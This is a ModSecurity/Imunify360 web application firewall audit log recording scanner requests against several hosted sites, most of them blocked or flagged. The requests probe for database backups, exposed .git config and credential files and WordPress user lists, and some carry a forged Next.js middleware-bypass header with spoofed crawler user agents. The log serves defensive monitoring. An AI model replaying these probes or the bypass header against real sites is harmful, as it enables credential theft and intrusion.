Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-11.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqaS32M7dE9KgIIOpQh9aQAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789301471105007 62250 (- - -)
Stopwatch2: 1789301471105007 62250; combined=60330, p1=231, p2=59742, p3=0, p4=0, p5=357, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4bde4a5b-Z--
--3b8da075-A--
[13/Sep/2026:15:13:26.332357 +0300] aqaTZmM7dE9KgIIOpQh9fAAAAMY 111.230.241.169 37388 127.0.0.1 7081
--3b8da075-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--3b8da075-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3b8da075-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqaTZmM7dE9KgIIOpQh9fAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqaTZmM7dE9KgIIOpQh9fAAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789301606272904 59503 (- - -)
Stopwatch2: 1789301606272904 59503; combined=57723, p1=296, p2=57116, p3=0, p4=0, p5=311, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3b8da075-Z--
--559aa30f-A--
[13/Sep/2026:15:13:41.178374 +0300] aqaTdWM7dE9KgIIOpQh9fgAAANA 111.230.241.169 38098 127.0.0.1 7081
--559aa30f-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--559aa30f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--559aa30f-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqaTdWM7dE9KgIIOpQh9fgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqaTdWM7dE9KgIIOpQh9fgAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789301621121582 56842 (- - -)
Stopwatch2: 1789301621121582 56842; combined=55264, p1=269, p2=54695, p3=0, p4=0, p5=300, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--559aa30f-Z--
--e990636e-A--
[13/Sep/2026:15:13:43.781274 +0300] aqaTd2M7dE9KgIIOpQh9fwAAANU 111.230.241.169 38102 127.0.0.1 7081
--e990636e-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--e990636e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e990636e-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqaTd2M7dE9KgIIOpQh9fwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqaTd2M7dE9KgIIOpQh9fwAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789301623724800 56538 (- - -)
Stopwatch2: 1789301623724800 56538; combined=55240, p1=228, p2=54638, p3=0, p4=0, p5=373, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e990636e-Z--
--6e14222c-A--
[13/Sep/2026:15:15:21.469077 +0300] aqaT2WM7dE9KgIIOpQh9lQAAANM 111.230.241.169 58070 127.0.0.1 7081
--6e14222c-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--6e14222c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6e14222c-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-15.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqaT2WM7dE9KgIIOpQh9lQAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-15.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqaT2WM7dE9KgIIOpQh9lQAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789301721407339 61787 (- - -)
Stopwatch2: 1789301721407339 61787; combined=60206, p1=294, p2=59613, p3=0, p4=0, p5=298, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e14222c-Z--
--dcc7af5b-A--
[13/Sep/2026:15:15:35.939559 +0300] aqaT5ysVWymXUono-eRW0wAAABg 34.186.127.109 54458 127.0.0.1 7081
--dcc7af5b-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 34.186.127.109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--dcc7af5b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dcc7af5b-E--
--dcc7af5b-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789301735291937 647720 (- - -)
Stopwatch2: 1789301735291937 647720; combined=3058, p1=248, p2=2640, p3=105, p4=22, p5=43, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dcc7af5b-Z--
--7b62922a-A--
[13/Sep/2026:15:15:39.210549 +0300] aqaT6CsVWymXUono-eRW1AAAAAA 34.186.127.109 51812 127.0.0.1 7081
--7b62922a-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 34.186.127.109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
--7b62922a-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--7b62922a-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789301736269395 2941212 (- - -)
Stopwatch2: 1789301736269395 2941212; combined=35607, p1=523, p2=35034, p3=0, p4=0, p5=49, sr=271, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7b62922a-Z--
--00aa7e4d-A--
[13/Sep/2026:15:21:12.337824 +0300] aqaVK2M7dE9KgIIOpQh@CgAAAMM 136.70.168.129 48434 127.0.0.1 7081
--00aa7e4d-B--
GET /.git/config HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--00aa7e4d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--00aa7e4d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059598089 12739840 (- - -)
Stopwatch2: 1789302059598089 12739840; combined=37895, p1=238, p2=37593, p3=0, p4=0, p5=64, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--00aa7e4d-Z--
--de1fad2f-A--
[13/Sep/2026:15:21:18.636818 +0300] aqaVK2M7dE9KgIIOpQh@DQAAANE 136.70.168.129 48456 127.0.0.1 7081
--de1fad2f-B--
GET /.gitconfig HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--de1fad2f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--de1fad2f-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.gitconfig"] [unique_id "aqaVK2M7dE9KgIIOpQh@DQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.gitconfig"] [unique_id "aqaVK2M7dE9KgIIOpQh@DQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059778098 18858797 (- - -)
Stopwatch2: 1789302059778098 18858797; combined=35019, p1=259, p2=34695, p3=0, p4=0, p5=65, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--de1fad2f-Z--
--6b9e9a1c-A--
[13/Sep/2026:15:21:18.696292 +0300] aqaVK2M7dE9KgIIOpQh@CwAAANg 136.70.168.129 48440 127.0.0.1 7081
--6b9e9a1c-B--
GET /.git-credentials HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6b9e9a1c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6b9e9a1c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git-credentials"] [unique_id "aqaVK2M7dE9KgIIOpQh@CwAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git-credentials"] [unique_id "aqaVK2M7dE9KgIIOpQh@CwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059687128 19009227 (- - -)
Stopwatch2: 1789302059687128 19009227; combined=37387, p1=274, p2=37054, p3=0, p4=0, p5=58, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b9e9a1c-Z--
--d45cc336-A--
[13/Sep/2026:15:21:20.786112 +0300] aqaVK2M7dE9KgIIOpQh@EQAAANQ 136.70.168.129 48504 127.0.0.1 7081
--d45cc336-B--
GET /.git/HEAD HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d45cc336-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d45cc336-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
